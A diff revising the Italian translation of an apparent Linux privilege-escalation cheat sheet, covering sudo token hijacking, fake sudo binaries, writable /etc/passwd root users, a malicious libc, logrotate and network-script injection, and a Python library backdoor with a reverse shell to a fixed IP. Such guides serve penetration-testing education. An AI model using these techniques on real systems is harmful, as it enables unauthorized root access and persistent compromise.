-e '! /bin/sh'\ @@ -945,22 +970,22 @@ https://gtfoargs.github.io/ Se puoi eseguire `sudo -l` puoi usare lo strumento [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) per verificare se trova come sfruttare qualche regola sudo. -### Reusing Sudo Tokens +### Riutilizzo dei token sudo -Nei casi in cui hai **accesso a sudo** ma non la password, puoi escalare i privilegi aspettando l'esecuzione di un comando sudo e poi hijackare il token di sessione. +Nei casi in cui hai **sudo access** ma non la password, puoi ottenere l'escalation dei privilegi aspettando l'esecuzione di un comando sudo e poi dirottando il token di sessione. -Requisiti per escalare privilegi: +Requisiti per l'escalation dei privilegi: - Hai già una shell come utente "_sampleuser_" -- "_sampleuser_" ha **usato `sudo`** per eseguire qualcosa negli **ultimi 15 minuti** (di default questa è la durata del sudo token che ci permette di usare `sudo` senza inserire alcuna password) +- "_sampleuser_" ha **usato `sudo`** per eseguire qualcosa negli **ultimi 15 minuti** (di default questa è la durata del token sudo che ci consente di usare `sudo` senza inserire alcuna password) - `cat /proc/sys/kernel/yama/ptrace_scope` è 0 -- `gdb` è accessibile (puoi riuscire a caricarlо) +- `gdb` è accessibile (puoi caricarlo) -(Puoi temporaneamente abilitare `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e impostando `kernel.yama.ptrace_scope = 0`) +(Puoi abilitare temporaneamente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o modificando permanentemente `/etc/sysctl.d/10-ptrace.conf` e impostando `kernel.yama.ptrace_scope = 0`) Se tutti questi requisiti sono soddisfatti, **puoi escalare i privilegi usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- Il **primo exploit** (`exploit.sh`) creerà il binario `activate_sudo_token` in _/tmp_. Puoi usarlo per **attivare il sudo token nella tua sessione** (non otterrai automaticamente una shell root, esegui `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -971,22 +996,22 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- Il **terzo exploit** (`exploit_v3.sh`) creerà **un sudoers file** che rende **i sudo tokens eterni e permette a tutti gli utenti di usare sudo** +- Il **terzo exploit** (`exploit_v3.sh`) **creerà un file sudoers** che **rende eterni i sudo tokens e consente a tutti gli utenti di usare sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Se hai i **permessi di scrittura** nella cartella o su uno qualsiasi dei file creati al suo interno, puoi usare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un sudo token per un utente e un PID**.\ -Ad esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quell'utente con PID 1234, puoi **ottenere sudo privileges** senza dover conoscere la password eseguendo: +Se hai **write permissions** nella cartella o su uno qualsiasi dei file creati al suo interno, puoi usare il binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **create a sudo token for a user and PID**.\ +Per esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quell'utente con PID 1234, puoi **obtain sudo privileges** senza bisogno di conoscere la password eseguendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Il file `/etc/sudoers` e i file all'interno di `/etc/sudoers.d` configurano chi può usare `sudo` e come. Questi file **di default possono essere letti solo da user root e group root**.\ -**Se** puoi **leggere** questo file potresti essere in grado di **ottenere alcune informazioni interessanti**, e se puoi **scrivere** qualsiasi file sarai in grado di **escalate privileges**. +Il file `/etc/sudoers` e i file all'interno di `/etc/sudoers.d` configurano chi può usare `sudo` e come. Questi file **per impostazione predefinita possono essere letti solo dall'utente root e dal gruppo root**.\ +**Se** puoi **leggere** questo file potresti essere in grado di **ottenere informazioni interessanti**, e se puoi **scrivere** qualsiasi file sarai in grado di **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1005,17 +1030,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Esistono alcune alternative al binario `sudo`, come `doas` per OpenBSD; ricorda di verificare la sua configurazione in `/etc/doas.conf` +Esistono alcune alternative al binario `sudo`, come `doas` su OpenBSD: ricordati di controllare la sua configurazione in `/etc/doas.conf`. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se sai che un **user solitamente si connette a una macchina e usa `sudo`** per elevare i privilegi e hai ottenuto una shell in quel contesto utente, puoi **creare un nuovo eseguibile sudo** che eseguirà il tuo codice come root e poi il comando dell'utente. Poi, **modifica il $PATH** del contesto utente (ad esempio aggiungendo il nuovo percorso in .bash_profile) in modo che quando l'utente esegue sudo, venga eseguito il tuo eseguibile sudo. +Se sai che un **utente solitamente si connette a una macchina e usa `sudo`** per elevare i privilegi e hai ottenuto una shell nel contesto di quell'utente, puoi **creare un nuovo eseguibile sudo** che eseguirà il tuo codice come root e poi il comando dell'utente. Poi, **modificare il $PATH** del contesto utente (ad esempio aggiungendo il nuovo percorso in .bash_profile) così quando l'utente esegue sudo, il tuo eseguibile sudo verrà eseguito. Nota che se l'utente usa una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Per esempio[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Oppure eseguendo qualcosa come: +Oppure eseguendo qualcosa del genere: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Copiando la lib in `/var/tmp/flag15/` verrà utilizzata dal programma in questo punto come specificato nella variabile `RPATH`. +Copiando la lib in `/var/tmp/flag15/` verrà usata dal programma in questo punto come specificato nella variabile `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1065,7 +1091,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Quindi crea una libreria malevola in `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Quindi crea una libreria malevola in `/var/tmp` usando `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1078,26 +1104,26 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capacità +## Capabilities -Le capabilities di Linux forniscono un **sottoinsieme dei privilegi di root disponibili a un processo**. Questo suddivide efficacemente i privilegi di root **in unità più piccole e distinte**. Ognuna di queste unità può poi essere concessa singolarmente ai processi. In questo modo l'insieme completo dei privilegi è ridotto, diminuendo i rischi di sfruttamento.\ -Leggi la pagina seguente per **saperne di più sulle capabilities e su come abusarne**: +Linux capabilities provide a **sottoinsieme dei privilegi di root disponibili a un processo**. Questo divide efficacemente i privilegi di root in **unità più piccole e distinte**. Ciascuna di queste unità può poi essere concessa in modo indipendente ai processi. In questo modo l'insieme completo dei privilegi è ridotto, diminuendo i rischi di sfruttamento.\ +Read the following page to **learn more about capabilities and how to abuse them**: {{#ref}} linux-capabilities.md {{#endref}} -## Permessi delle directory +## Directory permissions -In una directory, il **bit "execute"** implica che l'utente interessato possa "**cd**" nella cartella.\ -Il **bit "read"** implica che l'utente possa **elencare** i **file**, e il **bit "write"** implica che l'utente possa **eliminare** e **creare** nuovi **file**. +In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ +Il bit **"read"** implica che l'utente può **elencare** i **file**, e il bit **"write"** implica che l'utente può **cancellare** e **creare** nuovi **file**. ## ACLs -Access Control Lists (ACLs) rappresentano il livello secondario di permessi discrezionali, in grado di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso a file o directory permettendo di concedere o negare diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) rappresentano lo strato secondario delle autorizzazioni discrezionali, in grado di **sovrascrivere i tradizionali permessi ugo/rwx**. Queste autorizzazioni migliorano il controllo sull'accesso a file o directory permettendo o negando diritti a utenti specifici che non sono i proprietari né fanno parte del gruppo. Questo livello di **granularità assicura una gestione degli accessi più precisa**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Concedi** all'utente "kali" permessi di read e write su un file: +**Assegna** all'utente "kali" permessi di lettura e scrittura su un file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1110,12 +1136,12 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Sessioni shell aperte -Nelle **vecchie versioni** puoi effettuare un **hijack** di qualche sessione **shell** di un altro utente (**root**).\ -Nelle **versioni più recenti** potrai **connect** alle sessioni screen solo del **tuo user**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. +Nelle **vecchie versioni** potresti **hijack** una **sessione shell** di un altro utente (**root**).\ +Nelle **ultime versioni** potrai **collegarti** alle **screen sessions** solo del **tuo utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. ### screen sessions hijacking -**Elenca le screen sessions** +**Elenca screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1130,9 +1156,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Questo era un problema con le **old tmux versions**. Non sono riuscito a hijack una sessione tmux (v2.1) creata da root come utente non privilegiato. +Questo era un problema delle **vecchie versioni di tmux**. Non sono riuscito a hijackare una sessione tmux (v2.1) creata da root come utente non privilegiato. -**Elenca le tmux sessions** +**Elenca le sessioni tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1150,53 +1176,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Consulta la **Valentine box di HTB** per un esempio. +Vedi **Valentine box from HTB** per un esempio. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -Questo bug si verifica durante la creazione di una nuova ssh key in quegli OS, poiché **erano possibili solo 32,768 variazioni**. Questo significa che tutte le possibilità possono essere calcolate e, avendo la ssh public key, puoi cercare la corrispondente private key. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Tutte le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, etc) tra settembre 2006 e il 13 maggio 2008 possono essere affette da questo bug.\ +Questo bug si verifica durante la creazione di una nuova ssh key in quegli OS, poiché **erano possibili soltanto 32,768 varianti**. Questo significa che tutte le possibilità possono essere calcolate e **avendo la ssh public key puoi cercare la corrispondente chiave privata**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. -- **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. -- **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. +- **PasswordAuthentication:** Specifica se l'autenticazione via password è consentita. Il valore di default è `no`. +- **PubkeyAuthentication:** Specifica se l'autenticazione tramite chiave pubblica è consentita. Il valore di default è `yes`. +- **PermitEmptyPasswords**: Quando l'autenticazione tramite password è consentita, specifica se il server permette il login ad account con password vuote. Il valore di default è `no`. ### PermitRootLogin -Specifies whether root can log in using ssh, default is `no`. Possible values: +Specifica se root può effettuare il login usando ssh, il valore di default è `no`. Valori possibili: -- `yes`: root can login using password and private key -- `without-password` or `prohibit-password`: root can only login with a private key -- `forced-commands-only`: Root can login only using private key and if the commands options are specified +- `yes`: root può effettuare il login usando password e private key +- `without-password` or `prohibit-password`: root può effettuare il login solo con una private key +- `forced-commands-only`: root può effettuare il login solo usando private key e se sono specificate opzioni di comando - `no` : no ### AuthorizedKeysFile -Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: +Specifica i file che contengono le chiavi pubbliche che possono essere usate per l'autenticazione degli utenti. Può contenere token come `%h`, che verrà sostituito dalla home directory. **È possibile indicare percorsi assoluti** (che iniziano con `/`) o **percorsi relativi dalla home dell'utente**. Per esempio: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Questa configurazione indicherà che se provi ad accedere con la **chiave privata** dell'utente "**testusername**" ssh confronterà la chiave pubblica della tua key con quelle presenti in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` +Questa configurazione indicherà che se provi a fare login con la chiave **private** dell'utente "**testusername**", ssh confronterà la chiave pubblica della tua key con quelle presenti in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding ti permette di **usare le tue SSH keys locali invece di lasciare le chiavi** (senza passphrase!) sul tuo server. Quindi potrai **collegarti** via ssh **a un host** e da lì **collegarti a un altro** host **usando** la **chiave** presente nel tuo **host iniziale**. +SSH agent forwarding consente di **use your local SSH keys instead of leaving keys** (without passphrases!) sul tuo server. Quindi sarai in grado di **jump** via ssh **to a host** e da lì **jump to another** host **using** la **key** presente nel tuo **initial host**. Devi impostare questa opzione in `$HOME/.ssh.config` come segue: ``` Host example.com ForwardAgent yes ``` -Nota che se `Host` è `*` ogni volta che l'utente si connette a una macchina diversa, quell'host sarà in grado di accedere alle chiavi (il che è un problema di sicurezza). +Nota che se `Host` è `*`, ogni volta che l'utente si connette a una macchina diversa, quell'host potrà accedere alle chiavi (il che è un problema di sicurezza). Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e consentire o negare questa configurazione.\ -Il file `/etc/sshd_config` può **consentire** o **negare** ssh-agent forwarding con la keyword `AllowAgentForwarding` (il valore predefinito è allow). +Il file `/etc/sshd_config` può **consentire** o **negare** il forwarding di ssh-agent con la parola chiave `AllowAgentForwarding` (di default è allow). -Se scopri che Forward Agent è configurato in un ambiente leggi la pagina seguente poiché **potresti essere in grado di abusarne per escalate privileges**: +Se trovi che Forward Agent è configurato in un ambiente, leggi la pagina seguente poiché **potresti essere in grado di abusarne per elevare i privilegi**: {{#ref}} @@ -1207,15 +1233,15 @@ ssh-forward-agent-exploitation.md ### File dei profili -Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno qualsiasi di essi puoi escalate privileges**. +Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno qualsiasi di essi, puoi elevare i privilegi**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Se viene trovato uno script di profilo sospetto dovresti controllarlo per **dettagli sensibili**. +Se trovi uno script di profilo sospetto dovresti controllarlo per **dettagli sensibili**. -### File Passwd/Shadow +### File passwd/shadow -A seconda del sistema operativo i file `/etc/passwd` e `/etc/shadow` potrebbero usare un nome diverso o potrebbe esserci una copia di backup. Perciò è consigliabile **trovarli tutti** e **verificare se riesci a leggerli** per vedere **se ci sono hash** all'interno dei file: +A seconda del sistema operativo, i file `/etc/passwd` e `/etc/shadow` potrebbero avere un nome diverso o potrebbe esserci una copia di backup. Pertanto si raccomanda di **trovarli tutti** e **verificare se puoi leggerli** per vedere **se ci sono hash** all'interno dei file: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1226,50 +1252,50 @@ In alcune occasioni puoi trovare **password hashes** all'interno del file `/etc/ ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### /etc/passwd scrivibile +### Scrivibile /etc/passwd -Per prima cosa, genera una password con uno dei seguenti comandi. +Per prima cosa genera una password con uno dei seguenti comandi. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Quindi aggiungi l'utente `hacker` e inserisci la password generata. +Quindi aggiungi l'utente `hacker` e aggiungi la password generata. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Ad esempio: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Es.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Ora puoi usare il comando `su` con `hacker:hacker` +Puoi ora usare il comando `su` con `hacker:hacker` -In alternativa, puoi usare le righe seguenti per aggiungere un utente fittizio senza password.\ +In alternativa, puoi usare le seguenti righe per aggiungere un utente fittizio senza password.\ ATTENZIONE: potresti compromettere la sicurezza attuale della macchina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Sulle piattaforme BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è rinominato in `/etc/spwd.db`. +NOTA: Sui sistemi BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è rinominato in `/etc/spwd.db`. -Dovresti verificare se puoi **scrivere in alcuni file sensibili**. Ad esempio, puoi scrivere in qualche **file di configurazione di servizio**? +Dovresti verificare se puoi **scrivere in alcuni file sensibili**. Per esempio, puoi scrivere in qualche **file di configurazione di servizio**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Per esempio, se la macchina sta eseguendo un server **tomcat** e puoi **modificare il file di configurazione del servizio Tomcat dentro /etc/systemd/,** allora puoi modificare le righe: +Ad esempio, se sulla macchina è in esecuzione un server **tomcat** e puoi **modify the Tomcat service configuration file inside /etc/systemd/,** allora puoi modificare le righe: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -La tua backdoor verrà eseguita la prossima volta che tomcat viene avviato. +La tua backdoor verrà eseguita la prossima volta che tomcat verrà avviato. -### Controlla le cartelle +### Controlla cartelle -Le seguenti cartelle potrebbero contenere backup o informazioni interessanti: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probabilmente non riuscirai a leggere l'ultima ma prova) +Le seguenti cartelle potrebbero contenere backup o informazioni interessanti: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probabilmente non riuscirai a leggere l'ultima, ma prova) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Posizione strana/Owned files +### Posizione insolita/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1314,26 +1340,26 @@ ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -### **Copie di sicurezza** +### **Backup** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### File noti che contengono passwords +### Known files containing passwords -Dai un'occhiata al codice di [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), cerca **diversi file che potrebbero contenere passwords**.\ -**Un altro tool interessante** che puoi usare a questo scopo è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) che è un'applicazione open source usata per recuperare molte passwords memorizzate su un computer locale per Windows, Linux & Mac. +Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), cerca **diversi file che potrebbero contenere password**.\ +**Un altro strumento interessante** che puoi usare è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), un'applicazione open source usata per recuperare molte password memorizzate su un computer locale per Windows, Linux e Mac. ### Logs -Se puoi leggere i logs, potresti riuscire a trovare **informazioni interessanti/confidenziali al loro interno**. Più un log è strano, più sarà interessante (probabilmente).\ -Inoltre, alcuni **male configurati** (backdoored?) **audit logs** potrebbero permetterti di **registrare passwords** all'interno degli audit logs come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Se puoi leggere i log, potresti essere in grado di trovare **informazioni interessanti/confidenziali al loro interno**. Più strano è il log, più interessante sarà (probabilmente).\ +Inoltre, alcuni "**bad**" configurati (backdoored?) **audit logs** potrebbero permetterti di **registrare password** all'interno degli audit logs come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Per poter leggere i logs il gruppo [**adm**](interesting-groups-linux-pe/index.html#adm-group) sarà davvero utile. +Per poter leggere i log, il gruppo [**adm**](interesting-groups-linux-pe/index.html#adm-group) sarà molto utile. -### File di shell +### File shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1344,43 +1370,43 @@ Per poter leggere i logs il gruppo [**adm**](interesting-groups-linux-pe/index.h ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### Ricerca generica Creds/Regex -Dovresti anche cercare file che contengono la parola "**password**" nel loro **nome** o nel **contenuto**, e controllare anche per IPs e emails all'interno dei logs, o hashes regexps.\ -Non elencherò qui come fare tutto questo ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. +È inoltre consigliabile controllare i file che contengono la parola "**password**" nel loro **nome** o all'interno del **contenuto**, e controllare anche IP ed email nei log, o hashes regexps.\ +Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) eseguono. ## File scrivibili ### Python library hijacking -Se sai da **dove** verrà eseguito uno script python e **puoi scrivere** in quella cartella oppure puoi **modify python libraries**, puoi modificare la libreria OS e backdoorarla (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py). +Se sai da **dove** verrà eseguito uno script python e **puoi scrivere in** quella cartella o puoi **modificare python libraries**, puoi modificare la libreria os e backdoorarla (se puoi scrivere dove lo script python verrà eseguito, copia e incolla la libreria os.py). -Per **backdoor the library** aggiungi semplicemente alla fine della libreria os.py la seguente riga (change IP and PORT): +Per **backdoor the library** basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Sfruttamento di `logrotate` -Una vulnerabilità in `logrotate` permette agli utenti con **write permissions** su un file di log o sulle sue directory genitrici di ottenere potenzialmente privilegi elevati. Questo perché `logrotate`, spesso in esecuzione come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory dove venga applicata la rotazione dei log. +Una vulnerabilità in `logrotate` permette agli utenti con **permessi di scrittura** su un file di log o sulle sue directory genitrici di ottenere potenzialmente privilegi elevati. Questo perché `logrotate`, spesso in esecuzione come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log. > [!TIP] -> Questa vulnerabilità interessa `logrotate` nella versione `3.18.0` e precedenti +> Questa vulnerabilità interessa `logrotate` versione `3.18.0` e precedenti -Informazioni più dettagliate sulla vulnerabilità si trovano a questa pagina: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Informazioni più dettagliate sulla vulnerabilità sono disponibili a questa pagina: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Puoi sfruttare questa vulnerabilità con [**logrotten**](https://github.com/whotwagner/logrotten). -Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** quindi ogni volta che trovi di poter alterare i log, verifica chi gestisce quei log e controlla se puoi ottenere privilegi elevati sostituendo i log con symlinks. +Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** quindi ogni volta che trovi di poter modificare i log, verifica chi gestisce quei log e controlla se puoi elevare i privilegi sostituendo i log con symlink. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Riferimento vulnerabilità:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Riferimento alla vulnerabilità:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Se, per qualsiasi motivo, un utente è in grado di **write** uno script `ifcf-` in _/etc/sysconfig/network-scripts_ **or** può **adjust** uno esistente, allora il tuo **system is pwned**. +Se, per qualsiasi motivo, a un utente è possibile **scrivere** uno script `ifcf-` in _/etc/sysconfig/network-scripts_ **o** **modificare** uno esistente, allora il tuo **system is pwned**. -Network scripts, _ifcg-eth0_ per esempio, sono usati per le connessioni di rete. Sembrano esattamente file .INI. Tuttavia, vengono ~sourced~ su Linux da Network Manager (dispatcher.d). +Gli script di rete, _ifcg-eth0_ per esempio, sono utilizzati per le connessioni di rete. Sembrano esattamente file .INI. Tuttavia, vengono \~sourced\~ su Linux da Network Manager (dispatcher.d). -Nel mio caso, l'attributo `NAME=` in questi script di rete non viene gestito correttamente. Se hai **white/blank space in the name the system tries to execute the part after the white/blank space**. Questo significa che **everything after the first blank space is executed as root**. +Nel mio caso, l'attributo `NAME=` in questi script di rete non viene gestito correttamente. Se il nome contiene **spazio bianco/blank lo sistema prova a eseguire la parte dopo lo spazio**. Questo significa che **tutto ciò che segue il primo spazio viene eseguito come root**. Per esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1392,13 +1418,13 @@ DEVICE=eth0 ### **init, init.d, systemd e rc.d** -La directory `/etc/init.d` ospita **script** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Include script per `start`, `stop`, `restart` e talvolta `reload` dei servizi. Questi possono essere eseguiti direttamente o tramite link simbolici presenti in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`. +La directory `/etc/init.d` contiene **script** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Include script per `start`, `stop`, `restart` e talvolta `reload` dei servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici presenti in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`. -D'altra parte, `/etc/init` è associato a **Upstart**, un più recente sistema di **service management** introdotto da Ubuntu, che utilizza file di configurazione per le operazioni di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni Upstart grazie a uno strato di compatibilità in Upstart. +D'altra parte, `/etc/init` è associato a **Upstart**, un più recente sistema di **service management** introdotto da Ubuntu, che utilizza file di configurazione per le attività di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit vengono ancora utilizzati insieme alle configurazioni di Upstart grazie a uno strato di compatibilità in Upstart. -**systemd** emerge come un moderno init e service manager, offrendo funzionalità avanzate come avvio on-demand dei daemon, gestione automount e snapshot dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e `/etc/systemd/system/` per le modifiche dell'amministratore, semplificando le operazioni di amministrazione del sistema. +**systemd** emerge come un moderno sistema di init e gestione dei servizi, offrendo 